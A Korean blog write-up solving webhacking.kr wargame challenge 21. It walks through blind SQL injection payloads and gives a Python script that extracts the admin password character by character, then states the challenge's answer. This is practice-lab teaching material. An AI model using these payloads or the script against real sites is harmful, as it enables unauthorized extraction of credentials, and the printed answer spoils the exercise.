ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Webhacking.kr] 21번 풀이
    Wargame/webhacking.kr (old) 2019. 4. 19. 23:49

    Blind SQL Injection 문제이다.

     

    Blind SQL Injection이란?

    DB에 true 또는 false를 묻고 그에 따른 응용 프로그램의 응답을 파악해 공격하는 기법

    [참고 사이트] https://www.owasp.org/index.php/Blind_SQL_Injection

     

    우선, 페이지가 값에 따라 어떻게 반응하는지를 살펴보아야 한다.

    admin을 입력해 제출버튼을 눌리니 아래와 같은 결과가 나왔다.

     

    입력하는 칸은 no 값으로 전송된다.

    no는 숫자이기 때문에 숫자를 입력해 제출해보았다.

     

    여러 숫자를 넣어 결과를 확인해보았다.

     

    no 1, 2일 경우 True

    나머지 숫자 False

     

    결과를 보면 no의 값은 1과 2만 존재한다고 생각할 수 있다.

    no=1, no=2가 각각 어떤 id와 pw를 가지는지 알아보자!

    경험상으로 2개의 값이 있는 경우에는 admin과 guest일 것 같다.

     

    우선 문자열을 알아내기 위해서는 길이를 알아내야한다.

    나는 왠지 admin과 guest일 것 같아서 길이를 5를 넣어보고 안되면 1부터 시작하기로 하였다.

     

    no=1&&length(id)=5

     

    True가 나왔다.

    올.. 나의 예상이 맞는 건가,,,!

     

    id가 admin이랑 guest가 맞는지 확인해보았다.

    magic_quotes_gpc 옵션이 켜져있을 것이기 때문에 hex값을 이용하였다.

    (admin : 0x61646d696e, guest : 0x6775657374)

     

    no=1&&id=0x6775657374

     

    no=2&&id=0x61646d696e

     

    올,, 역시,, 예상대로였다.

     

    no=1은 id='guest'

    no=2는 id='admin'

     

    이제 admin의 pw의 값을 알아내보자.

    admin의 no값이 2임을 이용하여 아래와 같은 쿼리문을 만들어 참과 거짓을 판별하여 pw를 알아낼 수 있다.

     

    no=2&&ascii(substr(pw,1,1))=97

    no=2 and substr(pw,2,1)=char(97)

     

    substr(string, start, length)

    문자열 start부터 length만큼 문자열을 반환 (start는 1부터 시작)

     

    admin의 pw를 알아내기 위해 python을 이용하였다.

     

    [ 소스 코드 ]

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
      
    import requests
     
    headers = {'Host': 'webhacking.kr', 'Cookie': 'PHPSESSID=54d09261c16a0e4f119dba34dc04f99a;'}
    url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php"
    
    #Find password length
    len = 0
    while True:
    	data = "?no=2%20and%20length(pw)="+str(len)
    	r = requests.get(url+data,headers=headers)
    	if r.text.find('True') != -1 :
    		break
    	len += 1
    print "------------------------------------------------"
    print "PASSWORD LEN : ",len
    print "------------------------------------------------"
    
    #Find password
    pw = ''
    for i in range(1,len+1):
    	for j in range(48,123):
    		if 58 <= j <= 96: continue
    		data = "?no=2%20and%20ascii(substr(pw,"+str(i)+",1))="+str(j)+"%23"
    		
    		r = requests.get(url+data,headers=headers)
    		if r.text.find('True') != -1 :
    			
    			pw += chr(j)
    			
    			print "found : ",pw
    			break
    print "------------------------------------------------"	
    print "PASSWORD : ", pw
    print "------------------------------------------------"
    

    소스 코드를 보면 데이터를 url encoding한 값으로 전송하고 있는데,

    그 이유는 get방식으로 전송하기 때문에 encoding하여 데이터를 보내주어야 한다.

     

    python 코드를 실행시켜 pw의 길이와 값을 알아냈다.

     

    [ 실행 결과 ]

     

    알아낸 pw값을 아래와 같이 전송해주면,,,

     

     

    문제가 풀...려야하는데;;

    아무런 반응이 일어나지 않았다????

    혹시나 하는 마음으로 Auth 페이지에 인증해보았다.

     

    Auth 페이지에 인증하면 문제가 풀린다...!

     

    blindsqlinjectionkk

     

     

    'Wargame > webhacking.kr (old)' 카테고리의 다른 글

    [Webhacking.kr] 23번 풀이  (0) 2019.05.06
    [Webhacking.kr] 22번 풀이  (0) 2019.05.06
    [Webhacking.kr] 20번 풀이  (0) 2019.04.19
    [Webhacking.kr] 18번 풀이  (0) 2019.04.19
    [Webhacking.kr] 17번 풀이  (0) 2019.04.19

    댓글

@Jo Grini's Blog